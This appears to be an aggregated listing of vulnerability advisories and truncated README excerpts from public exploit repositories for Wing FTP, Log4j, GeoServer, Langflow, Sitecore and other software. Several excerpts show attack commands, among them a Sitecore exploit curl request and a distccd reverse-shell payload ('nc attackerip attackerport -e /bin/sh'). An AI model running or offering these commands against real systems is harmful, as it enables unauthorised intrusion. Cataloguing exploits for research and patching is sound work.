EUVD-2026-113430

Improper input validation in Skia in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

EUVD-2026-113429

Use after free in Frames in Google Chrome prior to 156.0.8078.79 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

CVE-2025-47812

=========================================================== CVE-2025-47812 - Wing FTP Server Remote Code Execution RCE =========================================================== Author: blindma1den Date: July 2025 Exploit Type: Remote Code Execution Unauthenticated Target: Wing FTP Server 7.4.4...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 webmin written in python3 Usage: python CVE-2019-15107.py https://172.16.20.134:10000 whoami...

react2shell

React2Shell Proof of Concept exploit for CVE-2025-55182 Unauthenticated Remote Code Execution vulnerability a.k.a React2Shell. The script used to get shell on Next.js versions before; 15.0.4 and below 15.1.8 and below 15.2.5 and below 15.3.5 and below 15.4.7 and below 15.5.6 and below 16.0.6 and...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 RCE exp Affected versions VMware View Planner Harness 4.X Similar to CVE-2021-21978, this vulnerability allows uploading arbitrary files without authentication, and achieving remote code execution by modifying the built-in py script. It is worth noting that commands...

CVE-2023-35813_PoC

curl -k -v -X POST "https://target/sitecorexaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index" -H "Content-Type: application/x-www-form-urlencoded" --data-urlencode "ISEVENT=1" --data-urlencode "SOURCE=" --data-urlencode "PARAMETERS=ParseControl" ""...

exploit-CVE-2021-44228

CVE-2021-44228 – Log4j RCE Unauthenticated About This is a proof-of-concept exploit for Log4j RCE Unauthenticated CVE-2021-44228. This vulnerability affects versions 2.15.0. For more information: https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j Contributor...

CVE-2026-32996

CVE-2026-32996 A vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation. Check blog post post for technical details. https://github.com/user-attachments/assets/8a570332-1cf6-4905-9107-8fcb973c9ce7 PoC CVE-2026-32996.exe "whoami C:\pwned.txt" + Found...

CVE-2023-42222

CVE-2023-42222 Vulnerability summary WebCatalog before version 48.4.0 calls the Electron shell.openExternal function without verifying that the URL is for an http or https resource, in some circumstances. This vulnerability allows an attacker to execute code on the victims machine by sending...

distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: nc -lvnp 4466 Running the exploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Remote Code Execution Exploit for Langflow CVE-2025-3248 Features Automatic vulnerability detection Multiple exploitation modes: Interactive shell Single command execution Reverse shell connection File upload capability Colorized user interface Multiple reverse...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Proof-of-Concept Exploit for CVE-2024-36401 GeoServer Vulnerable Versions of GeoServer are prior to 2.23.6 | 2.24.4 | 2.25.2 !!! FOR SECURITY TESTING PURPOSES ONLY !!! DO NOT USE THIS ON SYSTEMS THAT YOU DO NOT OWN UNLESS YOU HAVE EXPRESS PERMISSION !!! To run... 1. Start a...

CVE-2025-47812-Research

CVE-2025-47812 — Wing FTP Server RCE Research Context Cybersecurity observation internship carried out within the Akasec club 1337 Khouribga — July/August 2025. Vulnerability studied CVE : CVE-2025-47812 CVSS Score : 10.0 Critical Affected software : Wing FTP Server 7.4.4 Type : Remote Code...

CVE-2019-0708

CVE-2019-0708 Mass Detection 0x01 Preface CVE-2019-0708 Windows RDP Remote Code Execution Vulnerability On May 15, 2019, a high-risk vulnerability was disclosed for Windows series servers. This vulnerability affects a wide range of systems, including Windows 2003, Windows 2008, Windows 2008 R2,...

CVE-2025-54769

CVE-2025-54769 – LPAR2RRD RCE Description : This repository contains a Proof‑of‑Concept PoC exploit for CVE-2025-54769, a vulnerability found in lpar2rrd. The vulnerability allows remote code execution RCE and directory traversal by abusing the /lpar2rrd-cgi/upgrade.sh endpoint. The exploit...

CVE-2025-59528

Version francaise CVE-2025-59528 Proof of Concept Minimal PoC focused on technical validation of the vulnerability in an authorized environment. Prerequisites You must have a user account on the target Flowise dashboard. You must have a valid API key linked to that account. You must start a...

log4shell-poc

CVE-2021-44228 Log4Shell POC Overview Proof of Concept for Remote Code Execution via JNDI Injection vulnerability in Apache Log4j 2.14.1. Web Hacking Course - Week 11 Assignment. Environment Role| Software| Version ---|---|--- Victim Server| Spring Boot + Log4j| 2.6.1 + 2.14.1 Victim JDK| OpenJDK...

CVE-2025-24893

CVE-2025-24893 XWiki Unauthenticated Remote code execution POC Vulnerability Description XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to SolrSearch. This impacts the...

CVE-2021-21974

CVE-2021-21974 VMware ESXi OpenSLP Heap Overflow Remote Code Execution PoC Author: Aiyakami Overview CVE-2021-21974 is a heap overflow vulnerability in the OpenSLP service in VMware ESXi. An unauthenticated attacker can send specially crafted packets over the network to the target ESXi host's SLP...